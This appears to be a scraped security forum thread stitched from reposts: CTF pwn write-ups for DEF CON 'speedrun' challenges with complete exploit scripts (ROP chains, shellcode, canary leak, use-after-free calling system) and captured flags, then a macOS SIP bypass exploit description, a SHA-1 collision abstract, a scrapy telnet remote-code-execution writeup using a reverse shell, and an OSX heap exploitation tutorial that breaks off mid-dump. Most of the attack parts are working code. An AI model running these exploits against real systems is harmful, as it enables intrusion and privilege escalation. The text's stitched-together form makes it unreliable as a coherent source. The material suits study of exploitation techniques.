AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ cat flag [ptrlib]$ OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.} [Pwn 5pts] speedrun-002 Similar to speedrun-001 but it's not statically linked. I crafted a simple ROP stager. from ptrlib import * from time import sleep elfpath = "./speedrun-002" libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") elf = ELF(elfpath) sock = Socket("speedrun-002.quals2019.oooverflow.io", 31337) #sock = Process(elfpath) plt_read = 0x4005e0 plt_puts = 0x4005b0 rop_pop_rdi = 0x004008a3 rop_pop_rsi_r15 = 0x004008a1 rop_pop_rdx = 0x004006ec sock.send("Everything intelligent is so boring.") sock.recvuntil("thing to say.") payload = b'A' * 0x408 payload += p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(plt_puts) payload += p64(0x400600) payload += p64(0xffffffffffffffdd) sock.sendline(payload) sock.recvline() sock.recvline() sock.recvline() addr_puts = u64(sock.recvline().rstrip()) libc_base = addr_puts - libc.symbol("puts") dump("libc base = " + hex(libc_base)) sock.recvuntil("What say you now?") sock.send("Everything intelligent is so boring.") sock.recvuntil("thing to say.") rop_pop_rax = libc_base + 0x000439c7 rop_syscall = libc_base + 0x000d2975 payload = b'A' * 0x408 payload += p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(rop_pop_rsi_r15) payload += p64(0) payload += p64(0) payload += p64(rop_pop_rdx) payload += p64(0) payload += p64(rop_pop_rax) payload += p64(59) payload += p64(rop_syscall) sock.sendline(payload) sock.interactive() $ python solve.py [+] Socket: Successfully connected to speedrun-002.quals2019.oooverflow.io:31337 [ptrlib] libc base = 0x7fd1891c6000 [ptrlib]$ Tell me more. Fascinating. cat flag [ptrlib]$ OOO{I_didn't know p1zzA places__mAde pwners.} [Pwn 5pts] speedrun-003 Now it's a shellcode challenge. We have to make the shellcode to be exactly 30 bytes. And the result of xor(shellcode[:15]) must be equals to xor(shellcode[15:]). from pwn import * def xor(shellcode): r = 0 for c in shellcode: r ^= ord(c) return r elfpath = "speedrun-003" sock = remote("speedrun-003.quals2019.oooverflow.io", 31337) #sock = process(elfpath) shellcode = asm(""" mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall """, arch="amd64") shellcode += b'A' * (0x1d - len(shellcode)) print(disasm(shellcode, arch='amd64')) for c in range(0x100): if xor(shellcode[:15]) == xor(shellcode[15:] + chr(c)): shellcode += chr(c) break else: print("ops") sock.send(shellcode) sock.interactive() $ python solve.py [+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done 0: 48 bb d1 9d 96 91 d0 movabs rbx,0xff978cd091969dd1 7: 8c 97 ff a: 48 f7 db neg rbx d: 53 push rbx e: 54 push rsp f: 5f pop rdi 10: 99 cdq 11: 52 push rdx 12: 57 push rdi 13: 54 push rsp 14: 5e pop rsi 15: b0 3b mov al,0x3b 17: 0f 05 syscall 19: 41 rex.B 1a: 41 rex.B 1b: 41 rex.B 1c: 41 rex.B [*] Switching to interactive mode Think you can drift? Send me your drift $ cat flag OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)} $ [Pwn 5pts] speedrun-009 It has a simple stack overflow vuln but the SSP is enabled. It also has a FSB for only leaking the memory. So, I leaked the canary, libc basae and crafted a ROP. from ptrlib import * libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Socket("speedrun-009.quals2019.oooverflow.io", 31337) #sock = Process("./speedrun-009") # leak canary _ = input() sock.recvuntil("1, 2, or 3\n") sock.send("2") payload = b'%163$p.%169$p.' sock.send(payload) sock.recvuntil("it \"") r = sock.recvuntil("\"") l = r.split(b".") canary = int(l[0], 16) addr_libc_start_main_ret = int(l[1], 16) libc_base = addr_libc_start_main_ret - libc.symbol("__libc_start_main") - 231 dump("canary = " + hex(canary)) dump("libc base = " + hex(libc_base)) # overwrite sock.recvuntil("1, 2, or 3\n") sock.send("1") #payload = b'A' * 0x4d8 payload = b'A' * 0x408 payload += p64(canary) payload += b'A' * 8 payload += p64(libc_base + 0x000439c7) payload += p64(59) payload += p64(libc_base + 0x0002155f) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + 0x00023e6a) payload += p64(0) payload += p64(libc_base + 0x00001b96) payload += p64(0) payload += p64(libc_base + 0x000d2975) #payload += b'A' * (0x5dc - len(payload)) sock.send(payload) # get the shell! sock.send("3") sock.interactive() $ python solve.py [+] Socket: Successfully connected to speedrun-009.quals2019.oooverflow.io:31337 [ptrlib] canary = 0x3af6834656253c00 [ptrlib] libc base = 0x7fc29e74c000 [ptrlib]$ Choose wisely. 1, 2, or 3 3 [ptrlib]$ cat flag [ptrlib]$ OOO{Is it even about the cars anymore? Where does it end???} [Pwn 5pts] speedrun-010 It's a heap challenge now. It doesn't have a double free but have a UAF. We can set the name and the message seperately and can free name before used by the message. In this way we can leak the puts address and change it to __libc_system. from ptrlib import * def alloc_name(name): sock.recvuntil("1, 2, 3, 4, or 5\n") sock.send("1") sock.recvline() sock.send(name) def alloc_message(msg): sock.recvuntil("1, 2, 3, 4, or 5\n") sock.send("2") sock.recvline() sock.send(msg) def free_name(): sock.recvuntil("1, 2, 3, 4, or 5\n") sock.send("3") def free_message(): sock.recvuntil("1, 2, 3, 4, or 5\n") sock.send("4") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") #sock = Process("./speedrun-010") sock = Socket("speedrun-010.quals2019.oooverflow.io", 31337) # leak libc alloc_name("A") alloc_name("B") free_name() free_name() alloc_name("B" * 0x17) alloc_message("X" * 0x10) addr_puts = u64(sock.recvline()[0x18:].rstrip()) libc_base = addr_puts - libc.symbol("puts") dump("libc base = " + hex(libc_base)) # get the shell alloc_name("/bin/sh") alloc_name("/bin/sh") free_name() alloc_name("sh;") payload = b'X' * 0x10 payload += p64(libc_base + libc.symbol("system")) dump("system = " + hex(libc_base + libc.symbol("system"))) alloc_message(payload) sock.interactive() $ python solve.py [+] Socket: Successfully connected to speedrun-010.quals2019.oooverflow.io:31337 [ptrlib] libc base = 0x7f321d23c000 [ptrlib] system = 0x7f321d28b440 [ptrlib]$ cat flag [ptrlib]$ OOO{Yeah, he's loony. He just like his toons. Aren't W#_____411???} Sursa: https://ptr-yudai.hatenablog.com/entry/2019/05/13/134140
  18. macOS 10.13.x SIP bypass (kernel privilege escalation) Works only on High Sierra, and requires root privilege. It can be chained with my previous local root exploits. Slides https://conference.hitb.org/hitbsecconf2019ams/materials/D2T2%20-%20ModJack%20-%20Hijacking%20the%20MacOS%20Kernel%20-%20Zhi%20Zhou.pdf symbols has com.apple.system-task-ports entitlement thus it can get the task port of kextd via task_for_pid (requires root because kextd has euid 0) Trigger dylib hijack to load evil payload in process symbols and steal the entitlement and control kextd kextd / kextutil / kextload are com.apple.rootless.kext-secure-management entitled, with whom the they can send MKext request to XNU to load KEXT All the validation are checked in userland: code signature, root filesystem permission, User-Approved Kernel Extension Loading, KEXT staging. Just ask XNU to load our KEXT without code signature Build First, grab the dependencies git submodule init git submodule update Install binutils brew install binutils Build Unrootless.kext pushd 3rd-party/Unrootless-Kext ; xcodebuild ; popd Build kernel exploit pushd libinj ; make ; popd; pushd kernel ; make ; popd Run $ sudo ./kernel/bin/exp Password: 2019-05-13 01:11:14.826 exp[666:7308] [LightYear] taytay pid: 668 2019-05-13 01:11:14.828 exp[666:7308] [LightYear] status: 0, pid 669 2019-05-13 01:11:14.892 symbols[669:7313] [LightYear] I am in symbols 2019-05-13 01:11:14.895 symbols[669:7313] [LightYear] inject /Users/test/Downloads/1/kernel/bin/Toolchains/XcodeDefault.xctoolchain/> usr/lib/libswiftDemangle.dylib to kextd get task port (OK) allocate stack (OK) remote stack 0x10714d000 allocate code (OK) remote code 0x1041e7000 write loader code (OK) mark code as eXecutable (OK) mark stack as RW (OK) write params (OK) create remote thread (OK) So it's gonna be forever Then try to load any unsigned KEXT $ csrutil status System Integrity Protection status: enabled. $ codesign -dvvv "./3rd-party/Unrootless-Kext/build/Release/Unrootless.kext" ./3rd-party/Unrootless-Kext/build/Release/Unrootless.kext: code object is not signed at all $ sudo kextload 3rd-party/Unrootless-Kext/build/Release/Unrootless.kext $ csrutil status System Integrity Protection status: disabled. Sursa: https://github.com/ChiChou/sploits/tree/master/ModJack
  19. From Collisions to Chosen-Prefix Collisions Application to Full SHA-1 Ga ̈etan Leurent1and Thomas Peyrin2,31Inria, France2Nanyang Technological University, Singapore3Temasek Laboratories, Singaporegaetan.leurent@inria.fr,thomas.peyrin@ntu.edu.sg Abstract.A chosen-prefix collision attack is a stronger variant of acollision attack, where an arbitrary pair of challenge prefixes are turnedinto a collision. Chosen-prefix collisions are usually significantly harderto produce than (identical-prefix) collisions, but the practical impact ofsuch an attack is much larger. While many cryptographic constructionsrely on collision-resistance for their security proofs, collision attacks arehard to turn into a break of concrete protocols, because the adversary haslimited control over the colliding messages. On the other hand, chosen-prefix collisions have been shown to break certificates (by creating arogue CA) and many internet protocols (TLS, SSH, IPsec).In this article, we propose new techniques to turn collision attacks intochosen-prefix collision attacks. Our strategy is composed of two phases:first a birthday search that aims at taking the random chaining variabledifference (due to the chosen-prefix model) to a set of pre-defined tar-get differences. Then, using a multi-block approach, carefully analysingthe clustering effect, we map this new chaining variable difference to acolliding pair of states using techniques developed for collision attacks.We apply those techniques toMD5andSHA-1, and obtain improved at-tacks. In particular, we have a chosen-prefix collision attack againstSHA-1with complexity between 266.9and 269.4(depending on assump-tions about the cost of finding near-collision blocks), while the best-known attack has complexity 277.1. This is within a small factor of thecomplexity of the classical collision attack onSHA-1(estimated as 264.7).This represents yet another warning that industries and users have tomove away from usingSHA-1as soon as possible. Sursa: https://eprint.iacr.org/2019/459.pdf
  20. “Web scraping considered dangerous”: Exploiting the telnet service in scrapy < 1.5.2 Claudio Salazar May 14 Disclaimer: scrapy 1.5.2 has been released on January 22th, to avoid being exploited you must disable telnet console (enabled by default) or upgrade up to 1.5.2 at least. This year the focus of our research will be security in web scraping frameworks. Why? Because it’s important for us. As a little context, between 2012 and 2017, I’ve worked at the world leader Scrapinghub programming more than 500 spiders. At alertot we use web spiders to get fresh vulnerabilities from several sources, then it’s a core component in our stack. We use scrapy daily and most of the vulnerabilities will be related to it and its ecosystem in order to improve its security, but we also want to explore web scraping frameworks in other languages. As a precedent, 5 years ago I discovered a nice XXE vulnerability in scrapy and you can read an updated version of that post here. Ok, let’s go with the new material! Just to clarify, the vulnerabilities exposed in this post affect scrapy < 1.5.2 . As mentioned in the changelog of scrapy 1.6.0, scrapy 1.5.2 introduced some security features in the telnet console, specifically authentication, which protects you from the vulnerabilities I’m going to reveal. Debugging by default Getting started with scrapy is easy. As you can see from the homepage, you can run your first spider in seconds and the log shows information about enabled extensions, middlewares and other options. What always has called my attention is a telnet service enabled by default. [scrapy.middleware] INFO: Enabled extensions: [‘scrapy.extensions.corestats.CoreStats’, ‘scrapy.extensions.telnet.TelnetConsole’, ‘scrapy.extensions.memusage.MemoryUsage’, ‘scrapy.extensions.logstats.LogStats’] […] [scrapy.extensions.telnet] DEBUG: Telnet console listening on 127.0.0.1:6023 It’s the telnet console running on port 6023, which purpose is to make debugging easier. Usually telnet services are restricted to a set of functions but this console provides a python shell in the context of the spider, which makes it powerful for debugging and interesting if someone gets access to it. To be sincere, it’s not common to turn to the telnet console. I’ve used it to debug spiders either running out of memory (in restricted environments) or taking forever, totalling around 5 out of 500+ spiders. My concern was that console was available without any authentication, then any local user could connect to the port and execute commands in the context of the user running the spider. The first proof of concept is to try to exploit this local privilege escalation (LPE) bug. An easy LPE To demonstrate this exploitation, there are two requirements: The exploiter has access to the system. There’s a spider running and exposing the telnet service. The following spider meets this requirement, making an initial request and then idling because of the download_delay setting. Our exploit is simple: It defines a reverse shell, connects to the telnet service and sends a line to execute the reverse shell using Python’s os.system . I’ve created the next video to show this in action! Now, we’re going to begin our journey to pass from this local exploitation to a remote exploitation! Taking control of spider’s requests Below there’s a spider created by the command scrapy genspider example example.org . It contains some class attributes and one of them is allowed_domains . According to the documentation, it is defined as: An optional list of strings containing domains that this spider is allowed to crawl. Requests for URLs not belonging to the domain names specified in this list (or their subdomains) won’t be followed if OffsiteMiddleware is enabled. Then, if the spider tries to make a request to example.edu , it will be filtered and displayed on the log: [scrapy.spidermiddlewares.offsite] DEBUG: Filtered offsite request to ‘example.edu’: <GET http://example.edu> However, an interesting behavior happens when there’s a request to a page in an allowed domain but redirects to a not allowed domain, since it won’t be filtered and will be processed by the spider. As reported here and in many other issues, it’s a known behavior. Paul Tremberth put some context on the issue and there are some possible fixes (i.e. 1002) but nothing official. That’s an unintended behavior but under security scrutiny it’s something. Imagine that there’s a dangerous.tld website and you want to create a spider that logs in to the user area. The server side logic would be like this: The template login.html used on route / displays a form with action=/login . A sample spider for the website would be: An overview of the steps are: The spider sends a GET request to http://dangerous.tld/ at line 8. At line 11, it sends a POST request using FormRequest.from_response that detects automatically the form in the web page and sets the form values based on formdata dictionary. At line 18 the spider prints that the authentication was successful. Let’s run the spider: [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/> (referer: None) [scrapy.core.engine] DEBUG: Crawled (200) <POST http://dangerous.tld/login> (referer: http://dangerous.tld/) authenticated [scrapy.core.engine] INFO: Closing spider (finished) Everything is fine, the spider is working and logs in successfully. What about the website becoming a malicious actor? Abusing of allowed_domains behavior, the malicious actor could manage that the spider sends requests to domains of its interest. To demonstrate this, we will review the spider steps. The first step of our spider creates a GET request to / and the original code for the home endpoint is: However, the website (now malicious) changes the logic to: Running again the spider gives us the following output: [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://example.org> from <GET http://dangerous.tld/> [scrapy.core.engine] DEBUG: Crawled (200) <GET http://example.org> (referer: None) [scrapy.core.scraper] ERROR: Spider error processing <GET http://example.org> (referer: None) Despite the error, indeed the spider has requested http://example.org with a GET request. Moreover, it’s also possible to redirect the POST request (with its body) created in step 2 using a redirect with code 307. Actually, it’s some class of SSRF that I’d name “Spider Side Request Forgery” (everyone wants to create new terms ?). It’s important to note some details about the environment: Usually a spider is only scraping one website, then it’s not common that a spider is authenticated on another website/domain. The spider requests the URL and likely there’s no way to get back the response (it’s different from common SSRF). Until now, we can control only the full URL and maybe some part of the body in a POST request. In spite of all these constraints, this kind of vulnerability, as well as SSRF, opens a new scope: the local network and localhost. Certainly we don’t know about services in the local network, so the key question is: what’s surely running on localhost, unauthenticated and provides code execution capabilities? The telnet service! Let’s speak telnet language Now, we’re going to redirect the requests to localhost:6023 . Running the spider against this malicious actor gives us a lot of errors: [scrapy.downloadermiddlewares.redirect] DEBUG: Redirecting (302) to <GET http://localhost:6023> from <GET http://dangerous.tld/> [scrapy.downloadermiddlewares.retry] DEBUG: Retrying <GET http://localhost:6023> (failed 1 times): [<twisted.python.failure.Failu re twisted.web._newclient.ParseError: (‘non-integer status code’, b’\xff\xfd”\xff\xfd\x1f\xff\xfd\x03\xff\xfb\x01\x1bc>>> \x1b[4hGET / HTTP/1.1\r\r’) >] Unhandled Error Traceback (most recent call last): Failure: twisted.internet.error.ConnectionDone: Connection was closed cleanly. It seems that the number of errors is equal to the number of lines of our GET request (including headers), then we are reaching the telnet port but not sending a valid Python line. We need more control of sent data since GET instruction and headers don’t meet Python syntax. What about the body part of the POST request sending the login credentials? Let’s come back to the original version of home route and try to exploit the login form logic. Posting to telnet The idea of using a POST request is to handle the request’s body, as near the start as possible to build a valid Python line. The argument formdata passed to FormRequest.from_response will update the form values, adding these new values at the end of the request’s body. That’s great, the malicious actor could add a hidden input to the form and it would be at the start of request’s body. The request’s body sent by the spider starts with malicious=1 , however FormRequest.from_response encodes with URL-encoding every input then it’s not possible to build a valid Python line. After that, I tried with form enctype but FormRequest doesn’t care about that value and just setsContent-Type: application/x-www-form-urlencoded . Game over! Is it possible to send a POST request without an encoded body? Yes, using the normal Request class with method=POST and set body. It’s the way to send POST requests with a JSON body but I don’t consider that a real scenario where the malicious actor could have control of the body of that request. Something more to try? I know that the method should be a list of valid values ( GET, POST, etc ) but let’s try if scrapy is compliant with that. We’re going to modify the form method to gaga and see the output of the spider: [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/> (referer: None) [scrapy.core.engine] DEBUG: Crawled (405) <GAGA http://dangerous.tld/login?username=user&password=secret> (referer: http://danger ous.tld/) It doesn’t validate that the method of the form is valid, good news! If I create a HTTP server supporting GAGA method, I could send a redirect to localhost:6023/payload and this new request with GAGA method will reach the telnet service. There’s hope for us! Creating the Python line The idea is to create a valid line and then try to comment the remainder of the line. Taking into account how a HTTP request is built and the idea of a custom HTTP server, the line sent to the telnet console eventually will be: GAGA /payload HTTP/1.1 As seen in previous output, scrapy has uppercased my method gaga to GAGA , then I can’t inject immediately Python code because it will be invalid. As the method will be always first, the only option I saw was to use a method like GET =' to create a valid string variable and then in the URI put the closing apostrophe and start my Python code. GET =' /';mypayload; HTTP/1.1 payload is Python code and can be separated by semicolons. The idea of commenting the remainder of the line after payload is not possible since scrapy deletes the character # . The remainder is HTTP/1.1 , then if I declare HTTP as a float, it would be a valid division and won’t raise any exception. The final line would look like this: GET =' /';payload;HTTP=2.0; HTTP/1.1 Glueing everything together The payload section is special: It can’t contain any space. The scope is limited i.e. the variable GET doesn’t exist in payload scope. Some characters like < or > are url-encoded. Taking in consideration these limitations, we’re going to build our payload as this: At line 1 we define our reverse shell, at line 2 we encode it in base64 encoding and we use the magic function __import__ to import the modules os and base64 that eventually allow to execute our reverse shell as a command. Now, we have to create a webserver capable of handling this special GET =' method. Since popular frameworks don’t allow that (at least with ease), as well as in the XXE exploitation, I had to hack the class BaseHTTPRequestHandler from http module to serve the valid GET and the invalidGET =' requests. The custom web server is below: The important pieces are: Line 11 serves malicious_login.html template when the server receives the GET request to the endpoint / . What is different in this malicious_login.html file? Our special method! At line 33 it’s the start of the method handle_one_request from the parent class. It’s almost the same, except that at line 52 we detect that the form was sent (seeing that there’s an username string in the URI) At line 18, we define our malicious logic. First, we set a 307 redirect code, that way it keeps our weird method and it’s not changed. Then, we build our payload and send a Location header to the spider, that way it will hit the telnet service. Let’s see this in action! Conclusion After this unexpected exploitation, I’m going to create some issues on Github to address the issues related to unfiltered redirections and invalid form methods. I really liked the decision took on scrapy 1.5.2 since they added authentication to the telnet service with user/password and if the password is not set, they create a random and secure one. It’s not optional security, it’s security by design. I hope you enjoyed this post and stay tuned for the following part of this research! Claudio Salazar alertot's CEO Sursa: https://medium.com/alertot/web-scraping-considered-dangerous-exploiting-the-telnet-service-in-scrapy-1-5-2-ad5260fea0db
  21. May 9, 2019 OSX Heap Exploitation Hello, I’m noob. This paper focuses on tiny size exploit in macOS. How to debug? Debugging in an OSX environment will require using lldb. (fucking) Therefore i’ll introduce some useful tools, commands and tips for debugging. Useful tools lldbinit - can use some gdb command. URL : https://github.com/gdbinit/lldbinit x/32i, x/32gx, cotext, and so on. Command (need update) image list gdb’s vmmap Show the map list shortcuts : im list memory read [start] [end] e.g. memory read 0x0 0x10 gdb’s x/16x 0x0 Show the memory value shortcuts : mem re 0x0 0x10 Tip disable OSX Core dump Core file is very very very big size file. It is located to /cores. Comnand : sudo sysctl -w kern.coredump=0 malloc Type Definition _malloc_zone_t : include/malloc/malloc.h typedef struct _malloc_zone_t { /* Only zone implementors should depend on the layout of this structure; Regular callers should use the access functions below */ void *reserved1; /* RESERVED FOR CFAllocator DO NOT USE */ void *reserved2; /* RESERVED FOR CFAllocator DO NOT USE */ size_t (* MALLOC_ZONE_FN_PTR(size))(struct _malloc_zone_t *zone, const void *ptr); /* returns the size of a block or 0 if not in this zone; must be fast, especially for negative answers */ void *(* MALLOC_ZONE_FN_PTR(malloc))(struct _malloc_zone_t *zone, size_t size); void *(* MALLOC_ZONE_FN_PTR(calloc))(struct _malloc_zone_t *zone, size_t num_items, size_t size); /* same as malloc, but block returned is set to zero */ void *(* MALLOC_ZONE_FN_PTR(valloc))(struct _malloc_zone_t *zone, size_t size); /* same as malloc, but block returned is set to zero and is guaranteed to be page aligned */ void (* MALLOC_ZONE_FN_PTR(free))(struct _malloc_zone_t *zone, void *ptr); void *(* MALLOC_ZONE_FN_PTR(realloc))(struct _malloc_zone_t *zone, void *ptr, size_t size); void (* MALLOC_ZONE_FN_PTR(destroy))(struct _malloc_zone_t *zone); /* zone is destroyed and all memory reclaimed */ const char *zone_name; /* Optional batch callbacks; these may be NULL */ unsigned (* MALLOC_ZONE_FN_PTR(batch_malloc))(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); /* given a size, returns pointers capable of holding that size; returns the number of pointers allocated (maybe 0 or less than num_requested) */ void (* MALLOC_ZONE_FN_PTR(batch_free))(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); /* frees all the pointers in to_be_freed; note that to_be_freed may be overwritten during the process */ struct malloc_introspection_t * MALLOC_INTROSPECT_TBL_PTR(introspect); unsigned version; /* aligned memory allocation. The callback may be NULL. Present in version >= 5. */ void *(* MALLOC_ZONE_FN_PTR(memalign))(struct _malloc_zone_t *zone, size_t alignment, size_t size); /* free a pointer known to be in zone and known to have the given size. The callback may be NULL. Present in version >= 6.*/ void (* MALLOC_ZONE_FN_PTR(free_definite_size))(struct _malloc_zone_t *zone, void *ptr, size_t size); /* Empty out caches in the face of memory pressure. The callback may be NULL. Present in version >= 8. */ size_t (* MALLOC_ZONE_FN_PTR(pressure_relief))(struct _malloc_zone_t *zone, size_t goal); /* * Checks whether an address might belong to the zone. May be NULL. Present in version >= 10. * False positives are allowed (e.g. the pointer was freed, or it's in zone space that has * not yet been allocated. False negatives are not allowed. */ boolean_t (* MALLOC_ZONE_FN_PTR(claimed_address))(struct _malloc_zone_t *zone, void *ptr); } malloc_zone_t; malloc_introspection_t : include/malloc/malloc.h typedef struct malloc_introspection_t { kern_return_t (* MALLOC_INTROSPECT_FN_PTR(enumerator))(task_t task, void *, unsigned type_mask, vm_address_t zone_address, memory_reader_t reader, vm_range_recorder_t recorder); /* enumerates all the malloc pointers in use */ size_t (* MALLOC_INTROSPECT_FN_PTR(good_size))(malloc_zone_t *zone, size_t size); boolean_t (* MALLOC_INTROSPECT_FN_PTR(check))(malloc_zone_t *zone); /* Consistency checker */ void (* MALLOC_INTROSPECT_FN_PTR(print))(malloc_zone_t *zone, boolean_t verbose); /* Prints zone */ void (* MALLOC_INTROSPECT_FN_PTR(log))(malloc_zone_t *zone, void *address); /* Enables logging of activity */ void (* MALLOC_INTROSPECT_FN_PTR(force_lock))(malloc_zone_t *zone); /* Forces locking zone */ void (* MALLOC_INTROSPECT_FN_PTR(force_unlock))(malloc_zone_t *zone); /* Forces unlocking zone */ void (* MALLOC_INTROSPECT_FN_PTR(statistics))(malloc_zone_t *zone, malloc_statistics_t *stats); /* Fills statistics */ boolean_t (* MALLOC_INTROSPECT_FN_PTR(zone_locked))(malloc_zone_t *zone); /* Are any zone locks held */ /* Discharge checking. Present in version >= 7. */ boolean_t (* MALLOC_INTROSPECT_FN_PTR(enable_discharge_checking))(malloc_zone_t *zone); void (* MALLOC_INTROSPECT_FN_PTR(disable_discharge_checking))(malloc_zone_t *zone); void (* MALLOC_INTROSPECT_FN_PTR(discharge))(malloc_zone_t *zone, void *memory); #ifdef __BLOCKS__ void (* MALLOC_INTROSPECT_FN_PTR(enumerate_discharged_pointers))(malloc_zone_t *zone, void (^report_discharged)(void *memory, void *info)); #else void *enumerate_unavailable_without_blocks; #endif /* __BLOCKS__ */ void (* MALLOC_INTROSPECT_FN_PTR(reinit_lock))(malloc_zone_t *zone); /* Reinitialize zone locks, called only from atfork_child handler. Present in version >= 9. */ } malloc_introspection_t; environment for malloc MallocGuardEdges : True/False MallocStackLogging : lite/malloc/vm/vmlite MallocStackLoggingNoCompact MallocScribble : True/False MallocErrorAbort : True/False MallocTracing : True/False MallocCorruptionAbort : True/False (only 64bit processor) MallocCheckHeapStart : -1,0,integer MallocCheckHeapEach : -1,0,integer MallocCheckHeapAbort : True/False MallocCheckHeapSleep : Integer MallocMaxMagazines : Integer MallocRecircRetainedRegions : Positive Integer MallocHelp : True/False malloc_zone malloc_zone has R permission. But, it has R/W permission during _malloc_initialize, malloc_zone_unregister,malloc_set_zone_name.(can rc? maybe not.) In general, initialize is execute only one time. Then malloc_set_zone_name and malloc_zone_unregister are? I dont know ? Here is source code about permission : static void _malloc_initialize(void *context __unused) { ... if (n != 0) { // make the default first, for efficiency unsigned protect_size = malloc_num_zones_allocated * sizeof(malloc_zone_t *); malloc_zone_t *hold = malloc_zones[0]; if (hold->zone_name && strcmp(hold->zone_name, DEFAULT_MALLOC_ZONE_STRING) == 0) { malloc_set_zone_name(hold, NULL); } mprotect(malloc_zones, protect_size, PROT_READ | PROT_WRITE); malloc_zones[0] = malloc_zones[n]; malloc_zones[n] = hold; mprotect(malloc_zones, protect_size, PROT_READ); } ... } malloc size In ptmalloc2, malloc consists of fastbin, smallbin, largebin, unsorted depending on size. OSX consists of Tiny, Small, Large depending on size. Tiny 1008 bytes > size (in 64bits) 496 bytes > size (in 32bits) Small 15KB > size > Tiny (in less than 1gb memory) 127KB > size > Tiny (else) Large size > Small tiny malloc If exist freelist, then it returns at freelist from tiny_malloc_from_free_list. void * tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize) { tiny_free_list_t *ptr; msize_t this_msize; grain_t slot = msize - 1; free_list_t *free_list = tiny_mag_ptr->mag_free_list; free_list_t *the_slot = free_list + slot; tiny_free_list_t *next; free_list_t *limit; #if defined(__LP64__) uint64_t bitmap; #else uint32_t bitmap; #endif msize_t leftover_msize; tiny_free_list_t *leftover_ptr; ... ... // Look for an exact match by checking the freelist for this msize. // ptr = the_slot->p; if (ptr) { next = free_list_unchecksum_ptr(rack, &ptr->next); if (next) { next->previous = ptr->previous; } else { BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot); } the_slot->p = next; this_msize = msize; #if DEBUG_MALLOC if (LOG(szone, ptr)) { malloc_report(ASL_LEVEL_INFO, "in tiny_malloc_from_free_list(), exact match ptr=%p, this_msize=%d\n", ptr, this_msize); } #endif goto return_tiny_alloc; } ... } OSX malloc exist only one security check logic. checksum is checked by free_list_unchecksum_ptr. static INLINE void * free_list_unchecksum_ptr(szone_t *szone, ptr_union *ptr) { ptr_union p; p.u = (ptr->u >> 4) << 4; if ((ptr->u & (uintptr_t)0xF) != free_list_gen_checksum(p.u ^ szone->cookie)) { free_list_checksum_botch(szone, (free_list_t *)ptr); return NULL; } return p.p; } Fortunately it consists of 4bit, so we try to 4bits brute force. Next, we just chaining next->previous = ptr->previous like unlink in ptmalloc2. Before chaining, we should know how to create metadata when free tiny heap. It is similar to ptmalloc2’s smallbin and largebin. Test Code : #include <stdio.h> int main(){ int *ptr1 = malloc(0x40); int *ptr2 = malloc(0x40); int *ptr3 = malloc(0x40); int *ptr4 = malloc(0x40); int *ptr5 = malloc(0x40); int *ptr6 = malloc(0x40); free(ptr1); // Break1 free(ptr3); // Break2 free(ptr5); // Break3 int *ptr7 = malloc(0x40); int *ptr8 = malloc(0x40); int *ptr9 = malloc(0x40); } Break1 free(ptr1) : It doesn’t have metadata. (lldbinit) x/32gx 0x7f99a6c02b40 0x7f99a6c02b40: 0x0000000000000000 0x0000000000000000 <-- ptr1 0x7f99a6c02b50: 0x0000000000000000 0x0000000000000000 0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000 0x7f99a6c02b70: 0x0000000000000000 0x0000000000000000 0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2 0x7f99a6c02b90: 0x0000000000000000 